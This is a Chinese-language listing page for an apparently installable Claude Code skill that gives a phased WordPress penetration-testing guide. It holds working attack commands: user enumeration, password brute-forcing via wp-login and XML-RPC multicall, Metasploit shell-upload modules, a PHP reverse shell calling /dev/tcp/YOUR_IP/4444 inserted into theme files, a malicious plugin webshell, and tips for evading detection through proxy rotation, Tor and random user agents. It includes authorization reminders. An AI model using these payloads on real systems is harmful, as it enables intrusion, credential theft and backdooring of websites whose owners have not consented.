mcpField
W
WordPress Penetration Testing

WordPress Penetration Testing

github.com/davila7安全33.0k208 次安装1 天前更新
代码仓库

关于 WordPress Penetration Testing

WordPress Penetration Testing 是用于评估 WordPress 安全性的测试技能,面向具备 Web 测试基础的安全人员。内容包括版本、主题、插件和用户枚举,以及漏洞扫描、凭据测试和利用流程。

主要功能

  1. 01识别 WordPress 版本
  2. 02枚举主题、插件与用户
  3. 03扫描漏洞与配置问题
  4. 04评估凭据安全性
  5. 05记录漏洞利用过程

适用场景

  1. 01盘点 WordPress 站点组件
  2. 02检查主题和插件漏洞
  3. 03评估用户密码强度
  4. 04在授权测试中验证漏洞

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/davila7/claude-code-templates --skill wordpress-penetration-testing

安装后在 Claude Code 中输入/wordpress-penetration-testing确认已加载。

详细介绍

WordPress 渗透测试

目的

对 WordPress 安装进行全面的安全评估,包括枚举用户、主题和插件、漏洞扫描、凭据攻击和漏洞利用技术。WordPress 为约 35% 的网站提供支持,因此是安全测试中的关键目标。

前提条件

所需工具
  • WPScan(Kali Linux 预装)
  • Metasploit Framework
  • Burp Suite 或 OWASP ZAP
  • 用于初步发现的 Nmap
  • cURL 或 wget
所需知识
  • WordPress 架构和结构
  • Web 应用测试基础知识
  • HTTP 协议理解
  • 常见 Web 漏洞(OWASP Top 10)

输出和交付物

  1. WordPress 枚举报告 - 版本、主题、插件、用户
  2. 漏洞评估 - 已识别的 CVE 和错误配置
  3. 凭据评估 - 弱密码发现
  4. 漏洞利用证明 - Shell 访问文档

核心工作流

阶段 1:发现 WordPress

识别 WordPress 安装:

# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com

WordPress 关键文件和目录:

  • /wp-admin/ - 管理员仪表板
  • /wp-login.php - 登录页面
  • /wp-content/ - 主题、插件、上传文件
  • /wp-includes/ - 核心文件
  • /xmlrpc.php - XML-RPC 接口
  • /wp-config.php - 配置文件(安全配置时无法访问)
  • /readme.html - 版本信息
阶段 2:基础 WPScan 枚举

使用 WPScan 全面扫描 WordPress:

# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v
阶段 3:WordPress 版本检测

识别 WordPress 版本:

# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/

版本来源:

  • HTML 中的 Meta 生成器标签
  • readme.html 文件
  • RSS/Atom 订阅源
  • JavaScript/CSS 文件版本
阶段 4:主题枚举

识别已安装的主题:

# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --plugins-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/

主题漏洞检查:

# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
阶段 5:插件枚举

识别已安装的插件:

# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/

需要检查的常见易受攻击插件:

# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
阶段 6:用户枚举

发现 WordPress 用户:

# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
阶段 7:全面枚举

运行所有枚举模块:

# Enumerate everything
wpscan --url http://target.com -e at -e ap -e u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive
阶段 8:密码攻击

对 WordPress 凭据进行暴力破解:

# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# XML-RPC brute-force (faster, may bypass protection)
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt

密码攻击方法:

  • wp-login - 标准登录表单
  • xmlrpc - XML-RPC 多调用(速度更快)
  • xmlrpc-multicall - 每个请求尝试多个密码
阶段 9:漏洞利用
Metasploit Shell 上传

获取凭据后:

# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
插件漏洞利用
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# Search for WordPress exploits
search type:exploit platform:php wordpress
手动漏洞利用

主题/插件编辑器(需要管理员权限):

// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php

插件上传方法:

# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php

# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
阶段 10:高级技术
XML-RPC 漏洞利用
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php

# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
通过代理扫描
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
HTTP 身份验证
# Basic authentication
wpscan --url http://target.com --http-auth admin:password

# Force SSL/TLS
wpscan --url https://target.com --disable-tls-checks

快速参考

WPScan 枚举标志
标志说明
-e at所有主题
-e vt易受攻击的主题
-e ap所有插件
-e vp易受攻击的插件
-e u用户(1-10)
-e cb配置备份
-e dbe数据库导出
常见 WordPress 路径
路径用途
/wp-admin/管理员仪表板
/wp-login.php登录页面
/wp-content/uploads/用户上传文件
/wp-includes/核心文件
/xmlrpc.phpXML-RPC API
/wp-json/REST API
WPScan 命令示例
用途命令
基础扫描wpscan --url http://target.com
全面枚举wpscan --url http://target.com -e at,ap,u
密码攻击wpscan --url http://target.com -U admin -P pass.txt
激进扫描wpscan --url http://target.com --detection-mode aggressive

约束和限制

法律注意事项
  • 测试前获取书面授权
  • 严格遵守定义的范围
  • 记录所有测试活动
  • 遵循负责任的漏洞披露原则
技术限制
  • WAF 可能会阻止扫描
  • 速率限制可能导致无法进行暴力破解
  • 某些插件可能出现漏报
  • XML-RPC 可能已禁用
规避检测
  • 使用随机 User-Agent:--random-user-agent
  • 限制请求频率:--throttle 1000
  • 轮换使用代理
  • 避免在受监控的网站上使用激进模式

故障排除

WPScan 未发现漏洞

解决方案:

  1. 使用 API 令牌访问漏洞数据库
  2. 尝试激进检测模式
  3. 检查是否有 WAF 阻止扫描
  4. 确认是否确实安装了 WordPress
暴力破解被阻止

解决方案:

  1. 使用 XML-RPC 方法,而非 wp-login
  2. 添加请求限速:--throttle 500
  3. 使用不同的 User-Agent
  4. 检查是否存在 IP 封禁或 fail2ban
无法访问管理面板

解决方案:

  1. 确认凭据正确
  2. 检查是否启用了双重身份验证
  3. 查看是否存在 IP 白名单限制
  4. 检查登录 URL 是否已更改(安全插件)

评论

支持 Markdown